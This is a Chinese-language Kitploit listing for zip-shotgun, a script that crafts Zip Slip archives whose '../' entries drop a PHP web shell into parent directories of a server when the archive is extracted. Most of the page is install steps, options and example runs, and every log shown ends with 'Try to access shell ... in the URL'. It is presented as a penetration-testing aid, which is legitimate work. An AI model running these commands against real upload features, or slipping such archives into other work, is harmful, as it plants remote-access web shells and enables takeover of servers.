Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
zip-shotgun — 用于测试zip文件上传功能(以及可能的zip文件提取)是否存在漏洞(即Zip Slip)的实用脚本 | Kitploit
工具/GitHubGitHub/jpiechowka/zip-shotgun
Payload生成漏洞分析Web应用程序漏洞利用渗透测试
GitHubjpiechowka/zip-shotgun

zip-shotgun

用于测试zip文件上传功能(以及可能的zip文件提取)是否存在漏洞(即Zip Slip)的实用脚本

查看仓库
3257年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ZIP Shotgun

用于测试 zip 文件上传功能(以及可能的 zip 文件提取)是否存在漏洞(即 Zip Slip)的实用脚本。 该脚本的思路来自 Silent Signal Techblog - 压缩文件上传与命令执行 以及 OWASP - 测试恶意文件上传

Snyk.io 有一份关于此漏洞的报告:Zip Slip 漏洞,以及一个包含多种语言存在漏洞的库的 GitHub 仓库:Snyk.io Zip Slip GitHub 仓库

还有来自 LiveOverflow 的一个精彩视频,对 Zip Slip 和 Zipperdown 漏洞进行了阐述:危险 .zip 漏洞?— Zip Slip 与 ZipperDown

此脚本会创建一个包含文件名中带有“../”的归档文件。解压时,这些文件可能会被提取到上级目录。 这可能允许攻击者将 Web Shell 提取到可通过浏览器访问的目录中。

默认的 Web Shell 是 wwwolf 的 PHP Web Shell,所有功劳归 WhiteWinterWolf。源代码可在此处获取。

安装

  1. 使用 Python pip 安装(需要 Python 3)

    pip3 install zip-shotgun --upgrade

  2. 克隆 Git 仓库并安装

    git clone https://github.com/jpiechowka/zip-shotgun.git

    从克隆仓库的根目录执行(即 setup.py 文件所在位置)

    pip3 install . --upgrade

用法与选项

root@kitploit:~
用法: zip-shotgun [OPTIONS] OUTPUT_ZIP_FILE

选项:
  --version                       显示版本并退出。
  -c, --directories-count INTEGER
                                  设置 zip 文件中回溯目录的层数(例如 3 表示 zip 中将添加 3 个文件:shell.php、../shell.php 和 ../../shell.php,其中 shell.php 是您提供的 Shell 名称或随机生成的值)
                                  [默认值: 16]
  -n, --shell-name TEXT           生成的 zip 文件中 Shell 的名称(例如 shell)。如果未提供,将随机生成。不能包含空格。
  -f, --shell-file-path PATH      包含 Shell 代码的文件。如果未提供此选项,将添加 wwwolf (https://github.com/WhiteWinterWolf/wwwolf-php-webshell) 的 PHP Shell。如果提供了名称,则将以其添加至 zip;若未提供,则名称随机生成。
  --compress                      启用压缩。如果设置此标志,归档将使用 DEFLATE 算法以压缩级别 9 进行压缩。默认不进行压缩。
  -h, --help                      显示此消息并退出。

示例

  1. 使用所有默认选项

    zip-shotgun archive.zip

    脚本输出的一部分

    root@kitploit:~
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
    12/Dec/2018 Wed 23:13:13 +0100 |  WARNING | Shell name was not provided. Generated random shell name: BCsQOkiN23ur7OUj
    12/Dec/2018 Wed 23:13:13 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: BCsQOkiN23ur7OUj.php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: BCsQOkiN23ur7OUj.php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: ../BCsQOkiN23ur7OUj.php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../BCsQOkiN23ur7OUj.php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: ../../BCsQOkiN23ur7OUj.php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../BCsQOkiN23ur7OUj.php
    ...
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Finished. Try to access shell using BCsQOkiN23ur7OUj.php in the URL
    
下载工具
  • 使用默认选项并启用归档压缩

    zip-shotgun --compress archive.zip

    脚本输出的一部分

    root@kitploit:~
    12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
    12/Dec/2018 Wed 23:16:13 +0100 |  WARNING | Shell name was not provided. Generated random shell name: 6B6NtnZXbXSubDCh
    12/Dec/2018 Wed 23:16:13 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
    12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
    12/Dec/2018 Wed 23:16:13 +0100 |     INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
    ...
    12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Finished. Try to access shell using 6B6NtnZXbXSubDCh.php in the URL
    
  • 使用默认选项但将归档中的回溯目录层数改为 3

    zip-shotgun --directories-count 3 archive.zip

    zip-shotgun -c 3 archive.zip

    脚本将在归档中总共写入 3 个文件

    脚本输出的一部分

    root@kitploit:~
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
    12/Dec/2018 Wed 23:17:43 +0100 |  WARNING | Shell name was not provided. Generated random shell name: 34Bv9YoignMHgk2F
    12/Dec/2018 Wed 23:17:43 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: 34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: 34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: ../34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: ../../34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Finished. Try to access shell using 34Bv9YoignMHgk2F.php in the URL
    
  • 使用默认选项但提供归档内的 Shell 名称并启用压缩

    Shell 名称不能包含空格

    zip-shotgun --shell-name custom-name --compress archive.zip

    zip-shotgun -n custom-name --compress archive.zip

    归档内 Shell 文件的名称将被设置为用户提供的值。

    脚本输出的一部分

    root@kitploit:~
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
    12/Dec/2018 Wed 23:19:12 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../../custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../../../custom-name.php
    ...
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Finished. Try to access shell using custom-name.php in the URL
    
  • 提供自定义 Shell 文件但使用随机名称保存在归档内。设置目录回溯数为 3

    zip-shotgun --directories-count 3 --shell-file-path ./custom-shell.php archive.zip

    zip-shotgun -c 3 -f ./custom-shell.php archive.zip

    将从用户提供的文件中提取 Shell 代码。归档内的名称将随机生成。

    脚本输出的一部分

    root@kitploit:~
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
    12/Dec/2018 Wed 23:21:37 +0100 |  WARNING | Shell name was not provided. Generated random shell name: gqXRAJu1LD8d8VKf
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Getting file extension from provided shell file for reuse: php
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Writing file to the archive: gqXRAJu1LD8d8VKf.php
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: gqXRAJu1LD8d8VKf.php
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Writing file to the archive: ../gqXRAJu1LD8d8VKf.php
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../gqXRAJu1LD8d8VKf.php
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Writing file to the archive: ../../gqXRAJu1LD8d8VKf.php
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../gqXRAJu1LD8d8VKf.php
    12/Dec/2018 Wed 23:21:37 +0100 |     INFO | Finished. Try to access shell using gqXRAJu1LD8d8VKf.php in the URL
    
  • 提供自定义 Shell 文件并设置保存在归档内的 Shell 名称。设置目录回溯数为 3 并使用压缩

    zip-shotgun --directories-count 3 --shell-name custom-name --shell-file-path ./custom-shell.php --compress archive.zip

    zip-shotgun -c 3 -n custom-name -f ./custom-shell.php --compress archive.zip

    将从用户提供的文件中提取 Shell 代码。归档内的名称将被设置为用户提供的名称。

    脚本输出的一部分

    root@kitploit:~
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Getting file extension from provided shell file for reuse: php
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Writing file to the archive: custom-name.php
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Writing file to the archive: ../custom-name.php
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Writing file to the archive: ../../custom-name.php
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php
    12/Dec/2018 Wed 23:25:19 +0100 |     INFO | Finished. Try to access shell using custom-name.php in the URL